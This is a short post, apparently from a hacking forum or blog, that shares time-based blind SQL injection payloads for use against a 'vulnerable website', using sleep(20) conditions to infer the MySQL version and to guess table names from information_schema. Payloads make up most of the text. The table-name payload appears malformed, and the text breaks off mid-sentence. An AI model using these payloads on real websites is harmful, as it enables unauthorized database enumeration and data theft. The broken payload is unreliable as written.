Blind injection exploitation with simple payloads
Blind injection exploitation with simple payloads Pranaam to all bhai ji _/_ Today i am going to share simple Blind SQL Injection payload. These payloads are easy and simple to understand :) For finding database version =================== ------> If database version is above 5 and (select sleep(20) from dual where( SELECT version() ) like 5% )--+ if vulnerable website database version is 5 or above, database will sleep for 20 seconds and page will respond after 20 seconds. ------> if database version is belove 4 and (select sleep(20) from dual where( SELECT version() ) like 4% )--+ if vulnerable website database version is 4 or below 5 , page will load after 20 seconds. For finding Table Name ================ ------> Payload is and (select sleep(20) from dual where 5* (SELECT table_name FROM information_schema.tables WHERE table_name LIKE starting_letters_of_table_name% LIMIT 0 , 1 )= ) ok, in above payloa...